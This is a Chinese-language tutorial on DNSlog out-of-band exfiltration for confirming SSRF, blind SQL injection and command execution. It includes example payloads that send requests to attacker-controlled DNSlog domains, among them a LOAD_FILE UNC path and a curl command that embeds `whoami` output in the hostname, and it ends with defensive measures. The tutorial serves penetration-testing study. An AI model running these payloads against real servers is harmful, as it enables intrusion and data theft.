DNSlog数据外带是一种常见的攻击者在渗透测试或攻击中使用的技术,用于检测目标系统是否存在 SSRF(服务器端请求伪造)、命令注入、盲目SQL注入等漏洞。通过这种技术,攻击者可以利用 DNS 解析查询(通过域名访问)来检测远程服务器是否访问了特定的外部资源。利用 DNSlog 服务,可以将目标服务器的 DNS 请求(外带数据)捕获到一个受控的 DNS 服务器上,从而实现数据外带和确认漏洞的存在。
工作原理
-
DNSlog 服务:攻击者首先注册或设置一个受控的 DNSlog 服务,它会记录所有向该域名的 DNS 查询请求。常见的 DNSlog 服务有
ceye.io
、dnslog.cn
等。 -
构造请求:攻击者在漏洞测试中,构造一个恶意的 HTTP 请求或其他输入,输入的数据包含一个独特的 DNS 记录(比如
abc123.dnslog.com
)。 -
DNS 请求触发:当目标服务器执行了该恶意请求时,服务器会尝试访问指定的 DNSlog 域名。
-
记录请求:DNSlog 服务会记录下从目标服务器发出的 DNS 查询请求,攻击者从 DNSlog 中获取请求信息,验证服务器是否进行了外部 DNS 查询,并可以从请求中提取特定数据。
DNSlog数据外带的常见场景
-
SSRF(服务器端请求伪造):
-
利用 SSRF,攻击者构造请求让服务器访问 DNSlog 记录的域名,通过观察是否有 DNS 查询来确认漏洞。
-
示例:
http://victim.com/?url=http://abc123.dnslog.com
-
-
盲注(SQL注入、命令注入等):
-
在盲注的情况下,响应没有明显的反馈,攻击者可以通过包含 DNS 查询来确认是否执行了注入。
-
示例:
SELECT LOAD_FILE('\\\\abc123.dnslog.com\\file.txt');
-
-
远程代码执行(RCE):
-
在存在远程代码执行漏洞的情况下,攻击者可以构造一个请求,让服务器访问 DNSlog 域名,以验证代码执行成功。
-
示例:
wget http://abc123.dnslog.com
-
DNSlog数据外带的条件
- Windows系统;
- secure_file_priv为空;
- ROOT权限.
步骤举例
假设你在测试一个存在 SSRF 漏洞的网站,并希望通过 DNSlog 检测数据外带。
-
获取 DNSlog 域名:
-
注册或使用 DNSlog 服务(如
ceye.io
),获取你专属的 DNS 域名(如yourdomain.ceye.io
)。
-
-
构造恶意请求:
-
将目标服务可能的 SSRF 漏洞点替换为你的 DNSlog 域名。
http://victim.com/?url=http://yourdomain.ceye.io
-
-
观察 DNSlog 响应:
-
在 DNSlog 服务后台,查看是否有来自目标服务器的 DNS 查询记录。如果有,说明目标服务器成功执行了请求,漏洞得以验证。
-
查询示例:
2024-12-20 12:30:45 | abc123.yourdomain.ceye.io | 192.168.0.1
-
-
数据外带:
-
在更多场景中,攻击者可能将敏感数据嵌入到 DNS 查询中。例如,将服务器的环境变量、文件内容等数据通过 DNS 请求进行外带。
curl http://`whoami`.yourdomain.ceye.io
当攻击者访问 DNSlog 时,结果可能显示如下:
2024-12-20 12:35:45 | root.yourdomain.ceye.io | 192.168.0.1
-
注意事项
-
域名长度限制:DNS查询有长度限制,通常不超过255个字符,因此在进行数据外带时,确保要外带的数据不会超过限制。
-
协议限制:DNSlog技术主要适用于支持DNS解析的协议(如 HTTP、FTP、SMTP 等)。某些协议可能不触发 DNS 请求。
-
防护措施:
-
禁止内部网络访问:通过防火墙规则,阻止服务器对外访问内部 IP 地址或外部的 DNS 服务。
-
限制 DNS 查询:防止服务器查询外部不受信任的域名,或者对 DNS 查询进行监控。
-
输入验证与过滤:对用户输入进行严格的验证和过滤,避免存在 SSRF 等漏洞的输入被利用。
-
总结
DNSlog 数据外带技术利用了服务器发出的 DNS 请求来确认漏洞的存在和执行结果。通过利用 DNSlog 服务,攻击者可以有效检测 SSRF、盲注、RCE 等漏洞,并可能外带一些敏感数据。为了防范此类攻击,需要对外部请求进行严格限制,并加强对服务器网络访问的监控与防护。